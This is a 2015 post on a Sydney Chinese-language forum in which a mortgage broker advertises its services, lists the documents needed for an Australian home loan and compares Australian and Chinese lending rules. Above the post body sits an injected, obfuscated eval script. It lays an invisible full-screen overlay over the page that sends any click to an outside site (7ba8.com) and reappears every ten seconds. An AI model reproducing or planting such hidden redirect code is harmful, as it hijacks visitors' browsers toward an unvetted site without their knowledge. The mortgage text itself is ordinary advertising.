滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 【中信信贷-专业咨询】为您解读澳洲最全最详尽贷款资讯 [打印本页]

作者: 中信信贷 时间: 2015-5-25 17:47
标题: 【中信信贷-专业咨询】为您解读澳洲最全最详尽贷款资讯
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由中信信贷于 2015/8/19 11:50 编辑

中信信贷(LinkTop Mortgage)成立于2010年9月，是一家年轻且发展迅猛的专业贷款机构。中信信贷(LinkTop Mortgage)，拥有独立信贷牌照(Credit Licence), 同时也是FBAA (Finance BrokersAssociation of Australia)认证信贷顾问以及授权信贷顾问(Authorized Credit Adviser)。公司致力于贷款咨询及贷款服务，旨在为客户客观的选择最优银行产品组合，量身订做最合适的贷款方案。
联系方式：
Tel: (02) 9267 4750Add: Suite 2.03B, Level 2, 309 Pitt St, Sydney NSW 2000

贷款热门知识：
1. 在澳贷款所需材料：
如果您购买的是现房，在您支付首付10%的同时就要开始准备贷款所需材料。如果您购买的是期房，则需要在交房前2-4个月开始准备贷款所需材料。
不同的银行有各种不同的贷款政策，那要求的文件会有所不同。以下是不同贷款种类可能会要到的贷款申请材料：
1. 一封雇主信，两份最新工资单
2. 工资进账证明
3. 海外置业投资者需要提供允许海外人士投资置业的政府批文（FIRB Approval）
4. 自雇人士贷款申请需要提供两年纳税证明
5. 购房贷款需要提供房屋购买合同
6. 护照和驾照的复印件
7. 存款账单。金额需要大于首付加所有购房费用以及贷款费用，证明有足够的资金。
8. 最新的欠款账单。例如，个人贷款、车贷等等
9. 最新的信用卡账单，证明贷款申请者有良好的还款记录
10. 最新6个月还贷账单

2. 中国Vs澳洲贷款区别区别一，在澳洲，只要通过FIRB的审核，即便不在澳洲本土都可以申请贷款购买澳洲的物业，完全不受海外身份的限制。在中国，持有外籍身份的外国人，在中国买房需要经过层层审核。比如说在上海，只有已婚的外籍人士才允许贷款置办物业。且房产只可自住不可出租。
区别二，在澳洲，如果是购买楼花首付为10%，带房屋建成后再付10%，其余80%可以贷款。在中国，在购买第一套房产首付部分不得少于30%，第二套房产首付不得少于50%。、
区别三，在澳洲，银行推行两种还款模式：1）只还利息，2）利息加本金。在这种情况下，大大减轻了投资者的还贷压力。当其他其他银行推出更加优惠的利息或者贷款政策是，LinkTop Mortgage 可以帮助客户100%转贷成功，并延续只还利息。在中国，只可以使用连本带息的还款方式，且不能随意更换贷款银行

更多知识……敬请期待
3. 你能读懂拍卖结果（Auction Result)吗？
4. 你认同银行给你家的估价吗？论估价的正确解析
5. 那些买房子，你不知道的事

6. 全面解读负扣税

7. 嘘！一般人不知道的降低土地税三个方法

8. 澳洲购房流程
9. 【合理避税】并非所有澳洲物业都需缴资本增值税
10. 转贷 Refinance的好处
11.10%房产首付的安全性与贷款问题

12.究竟选择固定利率还是浮动利率？

13.银行估价低了代表什么？
14. 澳洲买房基本知识对冲帐户的好处以及诀窍!
[attach]1807486[/attach]
15.四大行利息变动，政策收紧抢先知

16.悉尼房市未来发展
17.澳洲大行推自住房

18.影响房贷申请三大因素

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/)